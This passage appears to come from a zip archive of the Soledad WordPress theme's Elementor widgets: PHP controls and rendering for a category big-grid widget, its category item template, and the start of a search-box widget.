				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'add_icon_readmore', array(
			'label' => __( 'Add Icon to "View All" Button', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'readmore_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'readmore_icon_pos', array(
			'label'     => esc_html__( 'Icon position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default'   => 'right',
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'pagi_design', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}


	protected function render() {
		$settings     = $this->get_settings();
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type      = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos     = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display   = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy      = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover       = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay      = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani  = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile     = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
		$sameh_mobile      = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size       = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$title_length      = $settings['title_length'] ? $settings['title_length'] : 10;
		$excerpt_length    = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		$readmore_icon     = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( $biggid_style == 'style-1' ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_tablet = $settings['bg_columns_tablet'] ? $settings['bg_columns_tablet'] : '';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			if ( $bg_columns_tablet ) {
				$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
			}
			$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-custom penci-bgrid-custom penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}
		if ( 'yes' == $settings['hide_readmore_mobile'] ) {
			$wrapper_class .= ' hide-mreadmorebt';
		}
		if ( 'yes' == $settings['ver_border'] && 'style-1' == $biggid_style ) {
			$wrapper_class .= ' pcbg-verbd';
		}


		$ars_terms = array(
			'taxonomy'     => $settings['term_name'],
			'hide_empty'   => $settings['hide_empty'] ? true : false,
			'orderby'      => $settings['orderby'],
			'order'        => $settings['order'],
			'hierarchical' => $settings['hierarchical'] ? true : false,
		);

		/*if ( $settings['taxonomies_inc'] ) {
			$ars_terms['include'] = $settings['taxonomies_inc'];
		}*/

		if ( $settings['taxonomies_ex'] ) {
			$ars_terms['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['number'] ) {
			$ars_terms['number'] = $settings['number'];
		}

		$settings['block_query'] = $ars_terms;

		$block_id            = 'pcblock-' . rand( 0, 9999 );
		$settings['blockid'] = $block_id;
		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings ) {

			$link_group_out = $link_group_out_before = $link_group_out_after = '';

			$data_settings_tabs                       = array();
			$data_settings_tabs['query']              = $settings['block_query'];
			$data_settings_tabs['style']              = $settings['style'];
			$data_settings_tabs['overlay_type']       = $settings['overlay_type'];
			$data_settings_tabs['bgcontent_pos']      = $settings['bgcontent_pos'];
			$data_settings_tabs['content_display']    = $settings['content_display'];
			$data_settings_tabs['disable_lazy']       = $settings['disable_lazy'];
			$data_settings_tabs['image_hover']        = $settings['image_hover'];
			$data_settings_tabs['text_overlay']       = $settings['text_overlay'];
			$data_settings_tabs['text_overlay_ani']   = $settings['text_overlay_ani'];
			$data_settings_tabs['thumb_size']         = $settings['thumb_size'];
			$data_settings_tabs['bthumb_size']        = $settings['bthumb_size'];
			$data_settings_tabs['mthumb_size']        = $settings['mthumb_size'];
			$data_settings_tabs['bg_postmeta']        = $settings['bg_postmeta'];
			$data_settings_tabs['show_readmore']      = $settings['show_readmore'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['hide_meta_small']    = $settings['hide_meta_small'];
			$data_settings_tabs['hide_excerpt_small'] = $settings['hide_excerpt_small'];
			$data_settings_tabs['hide_rm_small']      = $settings['hide_rm_small'];
			$data_settings_tabs['title_length']       = $settings['title_length'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['readmore_icon']      = $settings['readmore_icon'];
			$data_settings_tabs['show_formaticon']    = isset( $settings['show_formaticon'] ) ? $settings['show_formaticon'] : '';
			$data_settings_tabs['readmore_icon_pos']  = $settings['readmore_icon_pos'];

			$ppp = isset( $data_settings_tabs['query']['number'] ) ? $data_settings_tabs['query']['number'] : get_option( 'posts_per_page' );

			$link_group_out_before .= '<nav data-paged="1" data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $settings['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, "UTF-8" ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';


			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				wp_enqueue_script( 'penci_ajax_filter_terms_bg' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );

		$big_items    = penci_big_grid_is_big_items( $biggid_style );
		$paging_align = $settings['paging_align'];
		?>
        <div class="penci-clearfix penci-biggrid-terms-wrapper penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner default">
					<?php
					$bg = 1;

					$biggrid_items      = get_terms( $ars_terms );
					$num_posts          = count( $biggrid_items );
					$post_meta          = $settings['bg_postmeta'];
					$hide_meta_small    = $settings['hide_meta_small'] ? $settings['hide_meta_small'] : '';
					$hide_excerpt_small = $settings['hide_excerpt_small'] ? $settings['hide_excerpt_small'] : '';
					$show_readmore      = $settings['show_readmore'] ? $settings['show_readmore'] : '';
					if ( ! empty( $biggrid_items ) ) {
						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						foreach ( $biggrid_items as $setting ) {
							$is_big_item         = '';
							$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
							$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail           = $thumb_size;
							$post_count          = $setting->count;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}

							if ( ! $is_big_item ) {
								if ( 'yes' == $hide_meta_small ) {
									$hide_meta_small_flag = true;
								}
								if ( 'yes' == $hide_excerpt_small ) {
									$hide_excerpt_small_flag = true;
								}
							}

							$image_url = get_default_term_thumb_url( $setting->term_id, $thumbnail );

							/* Get Custom Items Data */
							$item_id     = ' elementor-repeater-item-' . $setting->term_id;
							$image_ratio = penci_get_ratio_size_based_url( $image_url );

							$title      = $setting->name;
							$title_link = get_term_link( $setting->term_id );
							$title_attr = '';

							$desc = $setting->description;

							include dirname( __FILE__ ) . "/category.php";

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							$bg ++;
						}
						echo '</div>';


					}
					?>
                </div>

				<?php
				$paging = $settings['paging'];


				if ( 'loadmore' == $paging || 'scroll' == $paging ) {
					$data_settings                       = array();
					$data_settings['query']              = $ars_terms;
					$data_settings['style']              = $biggid_style;
					$data_settings['overlay_type']       = $overlay_type;
					$data_settings['bgcontent_pos']      = $bgcontent_pos;
					$data_settings['content_display']    = $content_display;
					$data_settings['disable_lazy']       = $disable_lazy;
					$data_settings['image_hover']        = $image_hover;
					$data_settings['text_overlay']       = $text_overlay;
					$data_settings['text_overlay_ani']   = $text_overlay_ani;
					$data_settings['thumb_size']         = $thumb_size;
					$data_settings['bthumb_size']        = $bthumb_size;
					$data_settings['mthumb_size']        = $mthumb_size;
					$data_settings['bg_postmeta']        = $post_meta;
					$data_settings['show_readmore']      = $show_readmore;
					$data_settings['excerpt_length']     = $settings['excerpt_length'];
					$data_settings['hide_excerpt_small'] = $hide_excerpt_small;
					$data_settings['hide_rm_small']      = $settings['hide_rm_small'];
					$data_settings['title_length']       = $title_length;
					$data_settings['readmore_icon']      = $readmore_icon;
					$data_settings['show_formaticon']    = $settings['show_formaticon'];
					$data_settings['readmore_icon_pos']  = $settings['readmore_icon_pos'];
					$data_paged                          = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

					$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

					$button_class = ' penci-ajax-more penci-bgajax-more-terms-click';
					if ( 'loadmore' == $paging ):
						wp_enqueue_script( 'penci_bgajax_more_terms' );
					endif;
					if ( 'scroll' == $paging ):
						$button_class = ' penci-ajax-more penci-bgajax-more-terms-scroll';
						wp_enqueue_script( 'penci_bgajax_more_terms_scroll' );
					endif;
					?>
                    <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                        <a class="penci-ajax-more-button" aria-label="More Items" href="#"
                           data-layout="<?php echo $biggid_style; ?>"
                           data-settings="<?php echo $data_settings_ajax; ?>"
                           data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                           data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_items' ); ?>">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_items' ); ?></span><span
                                    class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                        </a>
                    </div>
					<?php
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\C    A  inc/elementor/modules/penci-category-listing/widgets/category.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <?php do_action('penci_bl_follow_term',['follow_taxonomy'=> $settings['term_name'],'follow_term_id' => $setting->term_id]); ?>
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"><?php }
										if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'count', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
                                    <span class="cat pcbg-sub-title">
                                        <?php
                                        $prefix = $post_count == 1 ? penci_get_setting('penci_trans_post') : penci_get_setting('penci_trans_posts');
                                        echo $post_count . ' ' . $prefix; ?>
                                    </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'desc', $post_meta ) && $desc && ! $hide_excerpt_small_flag ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo wp_trim_words( wp_strip_all_tags( $desc ), $excerpt_length, '...' ); ?></div>
                            </div>
						<?php } ?>

                        <?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php echo esc_url( $title_link ); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?></span>
                                    <?php if ( $readmore_icon ): ?>
                                        <?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
                                    <?php endif; ?>
                                </a>
                            </div>
                        <?php } ?>

                        
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\EPd  d  2  inc/elementor/modules/penci-search-form/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSearchForm;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-search-form';
	}

	public function get_widgets() {
		return array( 'PenciSearchForm' );
	}
}
PK     N\&Bl^&  ^&  E  inc/elementor/modules/penci-search-form/widgets/penci-search-form.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSearchForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSearchForm extends Base_Widget {

	public function get_name() {
		return 'penci-search-form';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Search Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-search';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_style', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Search Box Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default'     => 'Default',
				'text-button' => 'Text Button',
				'icon-button' => 'Icon Button',
			],
		) );

		$this->add_responsive_control( 'mwidth', array(
			'label'     => __( 'Max Width ( px )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000 ) ),
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform' => 'max-width: {{SIZE}}px;width:100%' ),
		) );

		$this->add_control( 'text_align', array(
			'label'                => __( 'Alignment', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
			'selectors'            => array(
				'{{WRAPPER}} .pc-widget-searchform' => '{{VALUE}}',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'bd_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'txt_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} form.pc-searchform input.search-input'                            => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input::-webkit-input-placeholder' => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input:-ms-input-placeholder '     => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input::placeholder'               => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-default i,{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
